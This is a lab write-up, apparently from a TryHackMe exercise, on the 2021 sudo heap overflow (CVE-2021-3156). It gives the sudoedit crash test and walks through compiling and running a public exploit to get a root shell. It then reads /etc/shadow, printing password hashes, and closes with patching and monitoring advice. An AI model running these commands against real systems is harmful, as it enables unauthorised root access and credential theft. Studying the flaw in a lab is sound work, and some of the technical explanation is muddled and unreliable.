

Heap-based overflow vulnerability in Sudo

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Introduction

In January 2021, security updates were pushed for the sudo after the vulnerability was found in the sudo versions 1.8.2-1.8.31p2 and 1.9.0-1.9.5p1, which was discovered by Qualys Research Team running on Unix-like operating systems that prone to "Heap-based buffer overflow" which allows any user to <u>escalate privileges</u> as root and access data in an unauthorized way. This vulnerability was hidden for around the last ten years, affecting unpatched versions of sudo programs from 1.8.2-1.8.31p2 and 1.9.0-1.9.5p1, after an update made around July 2011.

Sudo is a powerful utility that is remembered for most if not all Unix-and Linux-based OSes which allows a permitted user to execute a command as the superuser or another user, as specified by the security policy. A heap-based overflow is a type of buffer overflow in which when a chunk of memory is designated to the heap and data is written to this memory without any bound checking done on the data.

Using the command "sudo -e" i.e sudoedit command allows editing files in an insecure manner. Specifically, in this vulnerability it was discovered that when we use sudoedit with the flag -e, we set the MODE_EDIT and MODE_SHELL in sudoer_policy_main(), we avoid the escape code or arguments that end with a single backslash character:

sudoedit -s '\' \$(python3 -c 'print("A"*1000)')

Through the above command, instead of reading beyond the last character of a string if it ends with an unescaped backslash character. This may permit attackers to misuse this vulnerability to run arbitrary code, which thus prompts running orders with root privileges without validation.

If the system is vulnerable then the above command will overflow the heap buffer allocated dynamically with 1000 A's characters which will crash the program.

If not, meaning the system is patched and not vulnerable to this vulnerability.





Scope of the Exploit

In this exploit, we are taking Unix like systems which are vulnerable to heap-based buffer overflow sudo vulnerability. Here, we are using a lab environment having a Ubuntu 18.04.5 server with sudo version 1.8.21p2 being vulnerable and also Github repository in the form of exploit for the vulnerability is provided by user Blasty which is pre cloned in the Ubuntu machine.

Prerequisites:

- Unix based machine with vulnerable sudo version.
- Exploit containing two C files and a MakeFile (which will be used to compile the exploit)





1. Clone the Github repository(https://github.com/blasty/CVE-2021-3156)

blasty / CVE-2021-3156 Code ① Issues 16 11 Pull reques			. Ovtifications ☆ Star 722 ♥ Fork 204	Fig. 1.1
🐉 main 🗸 🥲 I branch	⊘0 tags	Go to file 👱 Code →	About	
😽 blasty refine brute.sh		de68f7c on Feb 1 🗿 16 commits	provided.	
B README.md				
			Releases	
			Padranas	
i≣ README.md			No packages published	
CVE-2021-3156 PoC		Contributors 2		
Introduction		🙀 blasty 2015 TheZ3ro		

2. Check the sudo version if it is the affected version or not

sudo -V

I	Fig. 2.1
tryhackme@CVE-2021-3156:~\$ sudo -V Sudo version 1.8.21p2 Sudoers policy plugin version 1.8.21p2 Sudoers file grammar version 46 Sudoers I/O plugin version 1.8.21p2 tryhackme@CVE-2021-3156:~\$ ∎	



3. As the sudo version is a vulnerable vector we will see if it vulnerable or not using the command

□ sudoedit -s '\' \$(python3 -c 'print("A"*1000)')

(if the system is vulnerable it will crash the program and will overwrite the heap buffer)



4. Now we will perform the exploit first in the home directory we see the Exploit folder

I I	Fig. 4.1
tryhackme@CVE-2021-3156:~\$ ls Exploit tryhackme@CVE-2021-3156:~\$	

- 5. Go into the folder Exploit & here we will see a list of files
 - cd Exploit





- 6. Now, here we can see MakeFile which indicates we can compile the exploit by
 - Using command: make



7. List the content of the folder exploit again and we will see a new file executable file

	Fig. 7.1
tryhackme@CVE-2021-3156:~\$ ls Exploit tryhackme@CVE-2021-3156:~\$ cd Exploit tryhackme@CVE-2021-3156:~/Exploit\$ ls Makefile README.md hax.c lib.c libnss_X sudo-hax-me-a-sandwich tryhackme@CVE-2021-3156:~/Exploit\$ ■	

- 8. Run the executable file:
 - ./sudo-hax-me-a-sandwich





- 9. As the exploit is asking for a target we will check which machine is deployed here
 - Using the command:
 - uname -a



10. As the target machine here is Ubuntu 18.04.5 we will use target 0. On running the command:

• ./sudo-hax-me-a-sandwich 0





11. As from the above command, we got a shell for checking if we got a root shell we will check by :

• id & whoami



- 12. We will be reading sensitive files /etc/shadow using :
 - cat /etc/shadow

[+] bling bling! We got it!	
# cat /etc/shadow	
root:\$6\$daK6W8wn\$RNbc9GzAkTqCmNvmHNvRpkiiRuwWPElWsrt53sMqT07lyFnoVnTEDL7uuJLn83Drq//0ymdJg5pzfqxbdTkLu/:18658:0:99999:7:::	
daemon:*:17647:0:99999:7:::	Fig 121
bin:*:17647:0:99999:7:::	1 19. 12.1
sys:*:17647:0:99999:7:::	
sync:*:17647:0:99999:7:::	
games:*:17647:0:99999:7:::	
man:*:17647:0:99999:7:::	
Lp:*:17647:0:99999:7:::	
mail:*:17647:0:99999:7:::	
news :* : 17647 : 0 : 99999 : 7 : : :	
uucp:*:17647:0:99999:7:::	
proxy:*:17647:0:99999:7:::	
www-data:*:17647:0:99999:7:::	
backup:*:17647:0:99999:7:::	
list:*:17647:0:99999:7:::	
irc:*:17647:0:99999:7:::	
gnats:*:17647:0:99999:7:::	
nobody:*:17647:0:99999:7:::	
systemd-network:*:17647:0:99999:7:::	
systemd-resolve:*:17647:0:99999:7:::	
syslog:*:17647:0:99999:7:::	
messagebus:*:17647:0:99999:7:::	
apt:*:17647:0:99999:7:::	
Lxd:*:18658:0:99999:7:::	
uuidd:*:18658:0:99999:7:::	
dnsmasq:*:18658:0:99999:7:::	
landscape:*:18658:0:99999:7:::	
sshd:*:18658:0:99999:7:::	
pollinate:*:18658:0:99999:7:::	
tryhackme:\$6\$qpz65MYY\$hc9uuKjJ3eGJh5VvfNly.DScWDPjkN3JEE6I1wfXttitBMHQg3PvTWdNljLmBiX89e4ZvU9xKwM.rqQ./LyCd0:18658:0:99999:7::	



13. We can also access system logs as we got a root shell using:

• cat /var/log/Syslog

Feb 1 01:39:45 CVE-2021-3156 blkdeactivate[850]: Deactivating block devices:	
Feb 1 01:39:45 CVE-2021-3156 systemd[1]: Stopped Daily Cleanup of Temporary Directories.	
Feb 1 01:39:45 CVE-2021-3156 systemd[1]: Stopped Message of the Day.	
Feb 1 01:39:45 CVE-2021-3156 systemd[1]: Stopped Daily apt upgrade and clean activities.	Fig 121
Feb 1 01:39:45 CVE-2021-3156 systemd[1]: Stopped Daily apt download activities.	119. 13.1
Feb 1 01:39:45 CVE-2021-3156 systemd[1]: Stopped target Multi-User System.	1
Feb 1 01:39:45 CVE-2021-3156 systemd[1]: Stopping Deferred execution scheduler	
Feb 1 01:39:45 CVE-2021-3156 systemd[1]: Stopping Regular background program processing daemon	
Feb 1 01:39:45 CVE-2021-3156 systemd[1]: Stopping OpenBSD Secure Shell server	
Feb 1 01:39:45 CVE-2021-3156 systemd[1]: Stopped target Login Prompts.	
Feb 1 01:39:45 CVE-2021-3156 systemd[1]: Stopping Serial Getty on ttyS0	
Feb 1 01:39:45 CVE-2021-3156 systemd[1]: Stopping Getty on tty1	
Feb 1 01:39:45 CVE-2021-3156 systemd[1]: Stopping irqbalance daemon	
Feb 1 01:39:45 CVE-2021-3156 systemd[1]: Stopping Dispatcher daemon for systemd-networkd	
Feb 1 01:39:45 CVE-2021-3156 systemd[1]: Stopping amazon-ssm-agent	
Feb 1 01:39:45 CVE-2021-3156 amazon-ssm-agent[699]: 2021-02-01 01:39:45 INFO [amazon-ssm-agent] Got signal:terminated value:0	
x562b293510b0	
Feb 1 01:39:45 CVE-2021-3156 amazon-ssm-agent[699]: 2021-02-01 01:39:45 INFO [amazon-ssm-agent] Stopping Core Agent	
Feb 1 01:39:45 CVE-2021-3156 amazon-ssm-agent[699]: 2021-02-01 01:39:45 INFO [amazon-ssm-agent] [LongRunningWorkerContainer]	
Receiving stop signal, stop worker monitor	
Feb 1 01:39:45 CVE-2021-3156 systemd[1]: Stopping LSB: Record successful boot for GRUB	
Feb 1 01:39:45 CVE-2021-3156 systemd[1]: Stopping FUSE filesystem for LXC	
Feb 1 01:39:45 CVE-2021-3156 systemd[1]: Stopping Unattended Upgrades Shutdown	
Feb 1 01:39:45 CVE-2021-3156 systemd[1]: Stopping Login Service	
Feb 1 01:39:45 CVE-2021-3156 systemd[1]: Stopping Accounts Service	
Feb 1 01:39:45 CVE-2021-3156 systemd[1]: Stopped Discard unused blocks once a week.	
Feb 1 01:39:45 CVE-2021-3156 systemd[1]: Stopped target System Time Synchronized.	
Feb 1 01:39:45 CVE-2021-3156 systemd[1]: Stopping Authorization Manager	
Feb 1 01:39:45 CVE-2021-3156 systemd[1]: Stopping D-Bus System Message Bus	
Feb 1 01:39:45 CVE-2021-3156 systemd[1]: Stopping LSB: automatic crash report generation	
Feb 1 01:39:45 CVE-2021-3156 systemd[1]: Stopping System Logging Service	
Feb 1 01:39:45 CVE-2021-3156 systemd[1]: Stopped Deferred execution scheduler.	
Feb 1 01:39:45 CVE-2021-3156 systemd[1]: Stopped Regular background program processing daemon.	
Feb 1 01:39:45 CVE-2021-3156 systemd[1]: Stopped Dispatcher daemon for systemd-networkd.	





Mitigations

- 1. Monitor SIEM and other applicable environments for execution of the sudoedit command
- 2. Apply the available patches as soon as possible to remove and shorten the attack vector :



After this do tar xzvf sudo-1.9.5p2.tar.gz and then use ./configure file & sudo will be updated:







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